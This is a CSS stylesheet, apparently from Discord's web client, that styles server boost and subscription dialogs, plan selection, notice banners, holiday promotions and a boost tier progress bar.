.destination-3ZiRO2 { margin-top: 4px; overflow: hidden; text-overflow: ellipsis; }

.destination-3ZiRO2 strong { color: var(--header-primary); font-weight: 500; }

.perkRow-4H5Kvz { -webkit-box-align: center; align-items: center; display: flex; border-bottom: 1px solid var(--channeltextarea-background); margin: 0px 16px; padding: 16px 0px; }

.perkRow-4H5Kvz:last-child { border-bottom: none; }

.perkIconContainer-Pf29_D { display: flex; -webkit-box-pack: center; justify-content: center; margin-right: 16px; }

.perkIcon-XjImOD, .perkIconContainer-Pf29_D { height: 24px; width: 24px; }

.perkDescription-2-1vIq { color: var(--interactive-active); font-size: 16px; font-weight: 500; line-height: 20px; }

.value-IR9osW { width: 48px; }

.actions-6rRvry { border-radius: 4px; overflow: hidden; display: flex; -webkit-box-pack: center; justify-content: center; }

.value-IR9osW { text-align: center; height: 32px; background: var(--background-secondary); border: none; border-radius: 0px; }

.iconWrapper-3LVgIo { cursor: pointer; }

.icon-TYbVk4 { display: block; padding: 8px; width: 32px; height: 32px; transition: all 0.2s ease 0s; color: var(--interactive-normal); box-sizing: border-box; }

.icon-TYbVk4:active { color: var(--interactive-active); }

.icon-TYbVk4:hover { color: var(--interactive-hover); background: var(--background-modifier-hover); }

.icon-TYbVk4.disabled-24YXy-, .icon-TYbVk4.disabled-24YXy-:hover { cursor: not-allowed; background: none; }

.theme-dark .iconWrapper-3LVgIo { background: rgb(79, 84, 92); }

.theme-dark .iconWrapper-3LVgIo.disabled-24YXy- { opacity: 0.5; }

.theme-light .iconWrapper-3LVgIo { background: rgb(227, 229, 232); }

.theme-light .icon-TYbVk4.disabled-24YXy-, .theme-light .icon-TYbVk4.disabled-24YXy-:hover { color: var(--interactive-muted); }

.subscription-3_wdQD { display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); border-radius: 8px; padding: 16px; }

.subscriptionInfo-2kgsyu { margin-left: 16px; }

.tierInfo-WT36TA { display: flex; }

.tierInfo-WT36TA, .tierPill-2u0rrU { -webkit-box-align: center; align-items: center; }

.tierPill-2u0rrU { display: inline-flex; align-self: flex-start; padding: 4px 8px 4px 4px; border-radius: 11px; font-size: 12px; line-height: 14px; }

.tierPillStar--bIFmQ { width: 16px; height: 16px; margin-right: 5px; }

.guildIcon-2z7uxA { background-color: var(--background-primary); }

.guildName-1sHVxm { -webkit-box-flex: 1; flex: 1 1 0%; margin-bottom: 8px; font-size: 16px; font-weight: 700; line-height: 20px; color: var(--header-primary); }

.levelIcon-1dlaQ4 { width: 16px; height: 16px; margin: 0px 4px; }

.levelDownIcon-mNTpMy { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.levelUpIcon-1sEUMz { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .tierPill-2u0rrU { background-color: rgb(54, 57, 63); color: rgb(255, 255, 255); }

.theme-dark .tierPillStar--bIFmQ { color: rgb(255, 255, 255); }

.theme-dark .tierPillGem-1RnHgF { color: rgb(79, 84, 92); }

.theme-light .boost-3HN5ao { background-color: rgb(227, 229, 232); }

.theme-light .guildName-1sHVxm { color: rgb(79, 86, 96); }

.theme-light .tierPill-2u0rrU { background-color: rgb(255, 255, 255); color: rgb(79, 86, 96); }

.theme-light .tierPillStar--bIFmQ { color: rgb(116, 127, 141); }

.theme-light .tierPillGem-1RnHgF { color: rgb(255, 255, 255); }

.slider-2neXMg { position: absolute; left: 0px; right: 0px; bottom: 0px; }

.content-WuNYwn { padding-bottom: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.guildCard-2ACv7a { margin: 16px 0px; }

.image-1NTgO4 { background-repeat: no-repeat; background-size: 100%; align-self: center; margin: 20px 0px; flex-shrink: 0; }

.transferGuildCardHeader-3siD7r { text-transform: uppercase; font-weight: 700; margin-top: 16px; }

.activeTransferGuildCardBorder-2IUPpc { background: linear-gradient(270deg,hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%),hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%)); padding: 2px; }

.activeTransferGuildCardBorder-2IUPpc, .transferFromGuildCard-2rQQmc { margin-top: 8px; border-radius: 8px; }

.transferToGuildCard-2RtvSf { border-radius: 8px; }

.error-15PfHl { margin: 16px; }

.pendingCancellation-1almtz { margin-top: 16px; padding: 8px 16px; background: var(--info-warning-background); display: flex; border-radius: 4px; border: 1px solid var(--info-warning-foreground); -webkit-box-align: center; align-items: center; }

.pendingCancellationIcon-2h067B { color: var(--text-warning); flex-shrink: 0; }

.pendingCancellationMessage-w0eKfa { color: var(--text-normal); margin-left: 10px; }

.upsellFooter-3coAfO { background-color: var(--background-secondary); border-radius: 8px; color: var(--text-normal); display: flex; -webkit-box-align: center; align-items: center; font-size: 14px; line-height: 18px; margin-top: 16px; padding: 8px; }

.upsellFooterIcon-wRsqlH { flex-shrink: 0; margin-right: 8px; height: 24px; width: 24px; }

.bodyText-13Rlv8 { color: var(--text-normal); font-size: 16px; line-height: 20px; }

.planSelectStep-31TTwl { padding: 16px 0px 0px; }

.planSelectText-iD7oUX { margin-bottom: 16px; }

.planSelectRow-1LdYMT { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: justify; justify-content: space-between; margin: 8px auto; }

.planSelectRowALaCarte-1JAYw1 { -webkit-box-pack: start; justify-content: flex-start; }

.planSelectorWrapper-2LsX2y { -webkit-box-align: center; align-items: center; display: flex; }

.planSelectorHeader-1TP1tv { font-weight: 600; margin-bottom: 8px; }

.planSelectorRadioBarALaCarte-ygQW7d { -webkit-box-align: start; align-items: flex-start; }

.planSelectorRadioIconALaCarte-1PJxbJ { margin-top: 4px; }

.planSelectorPlanName-1nL-oU { margin-right: 4px; }

.planSelectorLabel-VhUMV5 { color: var(--text-normal); font-size: 16px; line-height: 20px; margin-left: 16px; }

.planSelectorPreviewPrice-2aqquY { color: var(--interactive-normal); font-size: 16px; line-height: 20px; }

.planSelectDivider-3_rhw8 { background-color: var(--background-modifier-accent); height: 1px; margin: 16px 0px; }

.planSelectorSubtotal-2OO1hR { color: var(--interactive-active); font-size: 16px; font-weight: 600; line-height: 20px; }

.reviewStep-1Imew8 { padding: 16px 0px 0px; }

.invoiceTableBottom-3JwP9u, .paymentSourceWrapper-2Q9eTN { margin: 16px 0px; }

.taxInclusiveNote-FL-OKr { margin-top: 12px; }

.confirmationContainer-38E2qQ { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 56px 32px 64px; }

.confirmationAnimation-3Ucuyy { width: 400px; height: 140px; margin-bottom: 32px; }

.confirmationText-XD1jlP, .confirmationUpgradedBanner-2wwUKO { margin-bottom: 16px; }

.confirmationText-XD1jlP { color: var(--interactive-normal); font-size: 16px; font-weight: 500; line-height: 20px; text-align: center; }

.confirmationText-XD1jlP p { margin: 0px; }

.confirmationText-XD1jlP p + p { margin-top: 8px; }

.existingSlotNotice-2T3aFo { background-color: var(--background-secondary); border-radius: 8px; color: var(--text-normal); display: flex; -webkit-box-align: center; align-items: center; font-size: 14px; line-height: 18px; margin-top: 16px; padding: 8px; margin-bottom: 16px; }

.existingSlotIcon-1KXKQj { flex-shrink: 0; margin-right: 8px; height: 24px; width: 24px; }

.existingSlotTooltipWarningIcon-2L_f91 { height: 16px; width: 14px; vertical-align: text-bottom; margin-left: 6px; cursor: pointer; }

.modal-kQmeEg { overflow: hidden; }

.selectHeaderContainer-1ZL_KA { z-index: auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; }

.selectHeader-1Kyt8N { margin-bottom: 16px; }

.selectSearch-3QcHc- { width: 100%; }

.selectContent-Un13ng { padding: 8px 0px; }

.selectGuild-E-uD47 { display: flex; -webkit-box-align: center; align-items: center; padding: 8px 6px; margin: 0px 8px; cursor: pointer; border-radius: 4px; }

.selectGuild-E-uD47:hover { background-color: var(--background-secondary-alt); }

.selectGuildName-3xQGo2 { margin-left: 12px; }

.confirmImage-1wHT6F { width: 264px; height: 134px; }

.transferConfirmImage-3E4PEz { width: 216px; height: 128px; }

.successBody-OotvFG { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding-bottom: 20px; }

.successAnimation-3gozE9 { width: 300px; height: 200px; }

.quantitySelectorBody-E6l1VI { margin-top: 20px; }

.quantitySelectorDescription-11mWvr, .quantitySelectorHeader-2hhNG7 { margin-bottom: 16px; }

.quantitySelectorWrapper-2FpLOH { -webkit-box-align: center; align-items: center; display: flex; margin: 32px auto; }

.quantitySelectorLabel-373Bmf { line-height: 20px; margin-left: 16px; }

.modalCloseButton-2E_kKc { position: absolute; right: 12px; top: 12px; opacity: 0.8; }

.modalCloseButton-2E_kKc:hover { opacity: 1; }

.theme-dark .confirmImage-1wHT6F { background-image: url("https://discord.com/assets/192d6baea83c7c91a2d07c81f7fb141a.svg"); }

.theme-dark .transferConfirmImage-3E4PEz { background-image: url("https://discord.com/assets/208ed87ce5401340f7f0107a37b5d3d4.svg"); }

.theme-dark .tierPill-2Q1YVI { background-color: rgb(54, 57, 63); color: rgb(255, 255, 255); }

.theme-light .confirmImage-1wHT6F { background-image: url("https://discord.com/assets/192d6baea83c7c91a2d07c81f7fb141a.svg"); }

.theme-light .transferConfirmImage-3E4PEz { background-image: url("https://discord.com/assets/caca0f65f52140e03fba15fc666b6500.svg"); }

.theme-light .tierPill-2Q1YVI { background-color: rgb(255, 255, 255); color: rgb(79, 86, 96); }

.header-qhmp8T { background-image: url("https://discord.com/assets/0d38d74cb19e600ad23ab12cb04bf3e5.svg"); background-position: center top; background-repeat: no-repeat; background-size: cover; box-sizing: border-box; height: 132px; }

.animation-2a5Yw- { position: absolute; inset: 0px; }

.headerTitle-2fZGts { background-image: url("https://discord.com/assets/bb0498a0c697a956f54f2b26216d6a2e.svg"); height: 28px; width: 60px; }

.header-qhmp8T .closeButton-3P791r { position: absolute; right: 12px; top: 12px; color: rgb(255, 255, 255); opacity: 0.8; }

.header-qhmp8T .closeButton-3P791r:hover { opacity: 1; }

.notice-3bPHh- { font-size: 14px; line-height: 36px; font-weight: 500; text-align: center; position: relative; padding-left: 4px; padding-right: 28px; z-index: 101; flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; border-radius: 8px 0px 0px; box-shadow: var(--elevation-low); }

.notice-3bPHh- strong { font-weight: 600; }

.platform-osx .notice-3bPHh- { -webkit-app-region: drag; }

.colorDefault-22HBa0 { background-color: rgb(242, 101, 34); color: rgb(255, 255, 255); }

.colorDefault-22HBa0 .button-2DhvE9:hover { color: rgb(242, 101, 34); }

.colorNeutral-3uXvGN { background-color: var(--background-accent); color: rgb(255, 255, 255); }

.colorNeutral-3uXvGN .button-2DhvE9:hover { color: rgb(34, 34, 34); }

.colorDownload-3uiTFS { background-color: var(--brand-experiment); color: rgb(255, 255, 255); }

.colorDownload-3uiTFS .button-2DhvE9:hover { color: var(--brand-experiment); }

.colorNotification-GG3eAb { background-color: var(--status-positive-background); color: var(--status-positive-text); }

.colorNotification-GG3eAb .button-2DhvE9 { font-weight: 600; }

.colorNotification-GG3eAb .button-2DhvE9:hover { color: var(--text-positive); }

.colorDark-1yVQpk { background-color: rgb(32, 34, 37); color: rgb(255, 255, 255); }

.colorDark-1yVQpk .button-2DhvE9:hover { color: rgb(32, 34, 37); }

.colorPremium--X5Fw0 { color: rgb(255, 255, 255); }

.colorPremiumTier1-3D7SPt { background-image: linear-gradient(270deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%)); }

.colorPremiumTier1-3D7SPt .button-2DhvE9:hover { color: var(--brand-experiment); }

.colorPremiumTier2-dCdap5 { background-image: linear-gradient(270deg,hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%),hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%)); }

.colorPremiumTier2-dCdap5 .button-2DhvE9:hover { color: hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%); }

.colorInfo-2URYW5 { background-color: rgb(74, 144, 226); color: rgb(255, 255, 255); }

.colorInfo-2URYW5 .button-2DhvE9:hover { color: rgb(74, 144, 226); }

.colorSuccess-1hnbW2 { background-color: var(--status-positive-background); color: var(--status-positive-text); }

.colorSuccess-1hnbW2 .button-2DhvE9:hover { color: var(--text-positive); }

.colorWarning-311oIt { background-color: var(--status-warning-background); color: rgb(0, 0, 0); }

.colorWarning-311oIt .button-2DhvE9 { color: rgb(0, 0, 0); border-color: rgb(0, 0, 0) !important; }

.colorWarning-311oIt .button-2DhvE9:hover { color: rgb(0, 0, 0); background-color: rgba(255, 255, 255, 0.267) !important; }

.colorDanger-4gmAY0 { background-color: var(--status-danger-background); color: var(--status-danger-text); }

.colorDanger-4gmAY0 .button-2DhvE9:hover { color: var(--text-danger); }

.colorStreamerMode-2SJAUN { background-color: hsl(262,calc(var(--saturation-factor, 1)*46.8%),39.8%); color: rgb(255, 255, 255); }

.colorStreamerMode-2SJAUN .button-2DhvE9:hover { color: hsl(262,calc(var(--saturation-factor, 1)*46.8%),39.8%); }

.colorSpotify-2L6XRq { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: hsl(141,calc(var(--saturation-factor, 1)*72.9%),42%); color: rgb(255, 255, 255); }

.colorSpotify-2L6XRq .platformIcon-cDJOOu { margin-top: 0px; width: 24px; height: 24px; }

.colorSpotify-2L6XRq .button-2DhvE9 { top: 0px; margin-left: 20px; }

.colorSpotify-2L6XRq .button-2DhvE9:hover { color: hsl(141,calc(var(--saturation-factor, 1)*72.9%),42%); }

.colorBrand-2zeG8h { background-color: var(--brand-experiment); color: rgb(255, 255, 255); }

.colorBrand-2zeG8h .button-2DhvE9:hover { color: var(--brand-experiment); }

.colorCustom-1ND3UM { }

.colorCustom-1ND3UM .button-2DhvE9:hover { color: rgb(34, 34, 34); }

.closeButton-3cJIM4 { position: absolute; top: 0px; right: 0px; width: 36px; height: 36px; background: url("https://discord.com/assets/4d778f647fdb98bb77f6ebf5e2a5c188.svg") 50% 55% / 10px 10px no-repeat; opacity: 0.5; transition: opacity 0.2s ease 0s; cursor: pointer; -webkit-app-region: no-drag; }

.closeButton-3cJIM4:hover { opacity: 1; }

.button-2DhvE9 { font-size: 14px; font-weight: 500; position: relative; top: 6px; border: 1px solid; color: rgb(255, 255, 255); border-radius: 3px; height: 24px; padding: 0px 10px; box-sizing: border-box; display: inline-block; vertical-align: top; margin-left: 10px; line-height: 22px; transition: background-color 0.2s ease 0s, color 0.2s ease 0s, border-color 0.2s ease 0s; -webkit-app-region: no-drag; }

.button-2DhvE9.buttonMinor-3mkvIP { border: none; text-decoration: underline; }

.theme-dark .button-2DhvE9, .theme-light .button-2DhvE9 { border-color: rgb(255, 255, 255); background-color: transparent; }

.theme-dark .button-2DhvE9:hover, .theme-light .button-2DhvE9:hover { border-color: rgb(255, 255, 255); background-color: rgb(255, 255, 255); }

.holidayPromotionNotice-3pqgRJ, .notice-3HNt2p { border-radius: 0px; background-color: hsl(235,calc(var(--saturation-factor, 1)*86.1%),71.8%); height: 40px; display: flex; padding: 0px 40px; }

@media (max-width: 485px) {
  .holidayPromotionNotice-3pqgRJ, .notice-3HNt2p { padding: 0px 16px; }
}

.holidayPromotionNotice-3pqgRJ { padding: 0px 32px; }

.noticeUnderlineButton-f_eK-r { border: none; padding: 0px; position: static; text-decoration: underline; white-space: nowrap; cursor: pointer; -webkit-box-flex: 0; flex: 0 0 auto; }

@media (max-width: 485px) {
  .mobileHide-1Z5_2e { display: none; }
}

.text-2AbnsF { white-space: nowrap; -webkit-box-flex: 0; flex: 0 0 auto; color: rgb(255, 255, 255); }

.noticeButton-2LkDBO { white-space: nowrap; position: static; }

.userTag-1Xn7IZ { font-weight: 600; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; display: inline-block; margin-left: 4px; color: rgb(255, 255, 255); }

.avatar-1e2xkp { margin: 0px 0px 0px 4px; }

.start-3NV_vB { flex: 1 1 auto; -webkit-box-pack: start; justify-content: flex-start; min-width: 0px; }

.end-2c2Ny6, .start-3NV_vB { display: flex; -webkit-box-flex: 1; -webkit-box-align: center; align-items: center; }

.end-2c2Ny6 { flex: 1 1 auto; -webkit-box-pack: end; justify-content: flex-end; margin: 0px 0px 0px 16px; }

.holidayCountdownContainer-3qKIdn { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; padding: 4px 0px; }

.holidayCountdownText-2lEbg_ { color: rgb(255, 234, 160); line-height: 16px; font-size: 14px; padding-right: 4px; vertical-align: baseline; font-weight: 700; font-family: var(--font-display); letter-spacing: 0.04em; text-transform: uppercase; }

.holidayHeroContainer-252amJ, .standaloneHolidayHeroContainer-y2sx5J { box-sizing: border-box; max-width: 660px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; position: relative; }

.holidayHeroContainer-252amJ { border-radius: 8px; padding: 32px; background: linear-gradient(102.85deg, rgb(38, 57, 158) 2.16%, rgb(53, 132, 213) 54.82%, rgb(66, 244, 255) 99.42%); color: rgb(255, 255, 255); }

.holidayHeroContainer-252amJ .holidayHeroHeader-3z0RUg { color: rgb(255, 255, 255); }

.snow-1tZphU { position: absolute; left: 0px; top: 0px; height: 100%; width: 100%; z-index: 1; pointer-events: none; }

.standaloneHolidayHeroContainer-y2sx5J { background-color: var(--background-primary); color: var(--text-normal); padding: 32px; }

.standaloneHolidayHeroContainer-y2sx5J .snow-1tZphU { visibility: hidden; }

@media (max-width: 485px) {
  .standaloneHolidayHeroContainer-y2sx5J { height: 100%; background: linear-gradient(103.58deg, rgb(38, 57, 158) 12.65%, rgb(49, 116, 196) 56.66%, rgb(59, 196, 226) 98.14%); color: rgb(255, 255, 255) !important; }
  .standaloneHolidayHeroContainer-y2sx5J .snow-1tZphU { visibility: visible; }
  .standaloneHolidayHeroContainer-y2sx5J .standaloneHolidayHeroBody-22tg8M { color: rgb(255, 255, 255) !important; }
  .standaloneHolidayHeroContainer-y2sx5J .holidayHeroHeader-3z0RUg { color: rgb(255, 255, 255); }
}

.theme-light .holidayBogoIcon-1l7Ej1 { filter: drop-shadow(rgba(0, 0, 0, 0.3) 0px 4px 16px); }

.holidayHeroLeft-Opj7WU { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; z-index: 2; }

.holidayHeroIcon-2q4CaT { width: 136px; height: 56px; margin-bottom: 16px; }

.holidayPromotionIcon-283YHw { position: relative; z-index: 2; }

@media (max-width: 485px) {
  .holidayPromotionIcon-283YHw { display: none; }
}

.holidayHeroBody-1GyTOQ, .standaloneHolidayHeroBody-22tg8M { margin-top: 4px; text-align: left; }

.standaloneHolidayHeroBody-22tg8M { margin-top: 16px; }

.holidayHeroBody-1GyTOQ { color: rgb(255, 255, 255); max-width: 334px; }

.standaloneHolidayHeroBody-22tg8M { color: var(--text-normal); max-width: 400px; }

@media (max-width: 485px) {
  .standaloneHolidayHeroBody-22tg8M a { color: rgb(255, 255, 255); text-decoration: underline; }
}

.holidayHeroRestrictions-1c_XaQ { margin-top: 8px; }

.holidayHeroRestrictions-1c_XaQ a { margin-top: 4px; max-width: 340px; text-align: left; text-decoration: underline; color: rgb(255, 255, 255) !important; }

.holidayHeroButton-1moPBR { margin-top: 24px; align-self: baseline; }

.holidayHeroMobileButton-1fSS0i { display: none; }

@media (max-width: 485px) {
  .holidayHeroMobileButton-1fSS0i { display: block; }
}

@media (max-width: 485px) {
  .holidayHeroStandardButton-3anrL2 { display: none; }
}

.premiumIcon-1I2dWr { margin-right: 4px; }

.buttonHeroText-1gltP_ { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; max-width: 140px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.holidayBogoIcon-1l7Ej1 { align-self: center; z-index: 2; }

@media (max-width: 485px) {
  .holidayBogoIcon-1l7Ej1 { display: none; }
}

.content-2SEhmL { padding-top: 32px; }

.closeButton-1j88jk { position: absolute; right: 4px; top: 12px; }

.upsellImage-3Cr6R4 { background-image: url("https://discord.com/assets/516c40b09f86cc79d7127c173dfffe22.svg"); background-size: cover; height: 120px; width: 265px; margin: 0px auto 32px; }

.bodyText-2eZo6h { color: var(--interactive-normal); font-size: 16px; font-weight: 500; line-height: 20px; }

.perksList-2yVqLk { background-color: var(--background-secondary); border-radius: 8px; margin: 16px 0px; }

.perkIconGuild-217N49 { color: hsl(305,calc(var(--saturation-factor, 1)*100%),75.1%); }

.perkIconUpload-YjXEBc { color: hsl(47,calc(var(--saturation-factor, 1)*98.9%),63.9%); }

.perkIconStream-3iF66v { color: hsl(220,calc(var(--saturation-factor, 1)*67.4%),55.5%); }

.perkIconChatPerks-3OIvia { color: var(--brand-experiment-400); }

.backStep-mDVYZp { -webkit-box-flex: 1; flex-grow: 1; margin-left: -16px; }

.footerRight-XblEnH { display: flex; }

.contentWrapper-12_jYP { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.content-qTyVUf { overflow: hidden; }

.breadcrumbsWrapper-gcRtK8 { border-bottom: 1px solid var(--background-modifier-accent); padding: 0px 16px 16px; }

.externalErrorBlock-1y8fpd { margin-top: 16px; }

.externalErrorBlock-1y8fpd a { text-decoration: underline; }

.bodyWrapper-2-hU54 { position: relative; }

.footerRight-3TQ-7k { display: flex; }

.backStep-Nd9wZC { -webkit-box-flex: 1; flex-grow: 1; margin-left: -16px; }

.copy-yUtCny { color: var(--text-normal); }

.hidden-vu5JrP { visibility: hidden; }

.wrapper-3ohMWL { padding-top: 32px; }

.heroImage-3wxtwf { display: block; margin: 0px auto 24px; width: 216px; }

.closeButton-2AE0OI { position: absolute; right: 4px; top: 12px; }

.heading-1sqe1c { margin-bottom: 16px; }

.perks-2hUniO { background-color: var(--background-secondary); border-radius: 8px; }

.iconColorYellow-xV_7RU { color: hsl(47,calc(var(--saturation-factor, 1)*98.9%),63.9%); }

.iconColorGreen-2QD7IH { color: hsl(164,calc(var(--saturation-factor, 1)*55.1%),69.4%); }

.iconColorPurple-3HQvfs { color: hsl(272,calc(var(--saturation-factor, 1)*100%),80.2%); }

.iconColorBlue-3j5-1h { color: rgb(142, 161, 225); }

.footer-2Gzq30 { -webkit-box-pack: end; justify-content: flex-end; -webkit-box-orient: horizontal; flex-direction: row; }

.footer-2Gzq30, .header-3lrZjT { -webkit-box-align: center; align-items: center; -webkit-box-direction: normal; }

.header-3lrZjT { display: flex; -webkit-box-orient: vertical; flex-direction: column; }

.subtitleText-359mJS { text-align: center; margin-bottom: 16px; }

.singleItemWrapper-1AvlNV { width: 100%; }

.carousel-18mXWH, .singleItemWrapper-1AvlNV { user-select: none; }

.carousel-18mXWH { display: flex; position: relative; }

.item-287JPa { -webkit-box-flex: 1; flex: 1 0 100%; }

.singleItem-3vMkVo { margin: 0px auto; }

.viewport-W8LvWa { overflow: hidden; }

.progressBar-2Hd4f8 { position: relative; height: 24px; }

.bar-_YsHvC { border-radius: 4px; }

.barBackground-2EEiLw { position: absolute; top: 10px; left: 12px; right: 12px; height: 4px; overflow: hidden; }

.barForeground-3KglC8, .barSecondary-3B1aP2 { position: absolute; height: 100%; }

.tierMarkerContainer-2BmgqV { -webkit-box-pack: justify; justify-content: space-between; position: absolute; left: 12px; right: 12px; }

.tierMarkerContainer-2BmgqV, .tierMarkerGroup-xg6A1d { display: flex; }

.tierMarkerGroup-xg6A1d { position: relative; }

.tierMarker-5HkGJ_, .tierMarkerGroup-xg6A1d { -webkit-box-pack: center; justify-content: center; }

.tierMarker-5HkGJ_ { position: absolute; border-radius: 50%; width: 20px; height: 20px; top: 2px; left: -10px; display: flex; -webkit-box-align: center; align-items: center; }

.tierMarkerAccomplished-2MiXeg, .tierMarkerInProgress-24LMzJ { }

.tierMarkerSelectable-3t7r2q { cursor: pointer; }

.tierMarkerBackground-3q29am { position: absolute; border-radius: 50%; width: 32px; height: 32px; left: -16px; top: -4px; }

.currentTierIcon-2gcTCn { width: 6px; height: 10px; pointer-events: none; }

.tierMarkerLabelContainer-1qM0Ak { margin-top: 28px; white-space: nowrap; position: absolute; height: 32px; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.tierMarkerLabelContainer-1qM0Ak, .tierMarkerLabelText-F_zS1F { font-size: 14px; font-weight: 600; display: flex; }

.tierMarkerLabelText-F_zS1F { text-align: center; -webkit-box-align: center; align-items: center; margin-bottom: 0px; padding: 4px; color: var(--interactive-normal); transition: background-color 0.2s ease 0s, color 0.2s ease 0s; border-radius: 4px; background-color: transparent; }

.selectedTier-1JkO7i .tierMarkerLabelText-F_zS1F { color: var(--interactive-active); }

.tierMarkerLabelText-F_zS1F:not(.isAccomplished-2EpZfL):hover { background-color: var(--background-modifier-selected); }

.tierMarkerLabelPlusIcon-1OS7E9 { margin-left: 4px; color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.barForeground-3KglC8 { background-color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.barSecondary-3B1aP2 { background-color: var(--interactive-hover); }

.theme-dark .barBackground-2EEiLw { background-color: rgb(32, 34, 37); }

.theme-dark .tierMarkerBackground-3q29am { background-color: rgb(54, 57, 63); }

.theme-dark .currentTierIcon-2gcTCn, .theme-dark .selectedTier-1JkO7i .tierMarkerLabelText-F_zS1F { color: rgb(255, 255, 255); }

.theme-light .barBackground-2EEiLw { background-color: rgb(235, 237, 239); }

.theme-light .tierMarkerBackground-3q29am { background-color: rgb(255, 255, 255); }

.theme-light .tierMarkerInProgress-24LMzJ .currentTierIcon-2gcTCn { color: rgb(79, 86, 96); }

.theme-light .tierMarkerAccomplished-2MiXeg .currentTierIcon-2gcTCn { color: rgb(255, 255, 255); }

.theme-dark .selectedTier-1JkO7i .tierMarker-5HkGJ_, .theme-light .selectedTier-1JkO7i .tierMarker-5HkGJ_ { box-shadow: rgba(0, 0, 0, 0.24) 0px 4px 8px; }

.theme-dark .tierMarkerInProgress-24LMzJ .currentTierIcon-2gcTCn.tier3Icon-Ku4Ahe, .theme-light .tierMarkerInProgress-24LMzJ .currentTierIcon-2gcTCn.tier3Icon-Ku4Ahe { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.icon-xjpx1N { }

.theme-dark .unlocked-3UrPzj, .theme-light .unlocked-3UrPzj { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .emoji-1ICUvA, .theme-light .emoji-1ICUvA { color: hsl(47,calc(var(--saturation-factor, 1)*98.9%),63.9%); }

.theme-dark .animated-2TA1A9, .theme-light .animated-2TA1A9 { color: hsl(221,calc(var(--saturation-factor, 1)*100%),84.1%); }

.theme-dark .audio-3DzS5a, .theme-light .audio-3DzS5a { color: hsl(220,calc(var(--saturation-factor, 1)*67.4%),55.5%); }

.theme-dark .customization-1xUnRk, .theme-light .customization-1xUnRk { color: hsl(164,calc(var(--saturation-factor, 1)*55.1%),69.4%); }

.theme-dark .upload-3Td5Tj, .theme-light .upload-3Td5Tj { color: hsl(305,calc(var(--saturation-factor, 1)*100%),75.1%); }

.theme-dark .vanity-13Dfk-, .theme-light .vanity-13Dfk- { color: hsl(25,calc(var(--saturation-factor, 1)*96.7%),64.1%); }

.theme-dark .stream-3dIsPC, .theme-light .stream-3dIsPC { color: hsl(222,calc(var(--saturation-factor, 1)*100%),75.1%); }

.theme-dark .sticker-p8lRXq, .theme-light .sticker-p8lRXq { color: hsl(272,calc(var(--saturation-factor, 1)*100%),80.2%); }

.theme-dark .archiveThread-1U9pL1, .theme-light .archiveThread-1U9pL1 { color: hsl(47,calc(var(--saturation-factor, 1)*98.9%),63.9%); }

.theme-dark .privateThread-AhfQTT, .theme-light .privateThread-AhfQTT { color: hsl(164,calc(var(--saturation-factor, 1)*55.1%),69.4%); }

.theme-dark .customRoleIcon-3RKh1x, .theme-light .customRoleIcon-3RKh1x { color: hsl(272,calc(var(--saturation-factor, 1)*100%),80.2%); }

.ctaBar-AS95ST { background-repeat: no-repeat; background-size: auto 100%; padding: 16px; display: flex; -webkit-box-align: center; align-items: center; border-radius: 4px; background-color: var(--background-secondary); }

.guildDetails-3vpMiP { -webkit-box-flex: 1; flex: 1 1 auto; margin-right: 16px; overflow: hidden; }

.guildSubscriptionInfo-2HBl0L { display: flex; -webkit-box-align: center; align-items: center; flex-wrap: wrap; }

.guildIcon-3kPJme { background-color: var(--background-primary); border-radius: 100px; -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 16px; }

.guildName-2TmOmH { -webkit-box-flex: 0; flex: 0 1 auto; margin-bottom: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.subscriberCountWrapper-ZtLG56 { -webkit-box-align: center; align-items: center; display: flex; margin-right: 8px; }

.bageIcon-Dx7oI_, .subscriberCountWrapper-ZtLG56 { -webkit-box-flex: 0; flex: 0 0 auto; }

.bageIcon-Dx7oI_ { margin-right: 4px; width: 16px; height: 16px; }

.badgeIconWithoutSubscribers-XDrfue, .badgeIconWithSubscribers-GvfE6D { }

.badgeIconWithSubscribers-GvfE6D { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.guildSubscriptionInfoSubscriberCount-3_GSM4 { -webkit-box-flex: 0; flex: 0 0 auto; font-weight: 700; }

.userSubscriptionCount-TUHPAU { color: var(--interactive-normal); }

.actions-1y3UTs, .userSubscriptionCount-TUHPAU { -webkit-box-flex: 0; flex: 0 0 auto; }

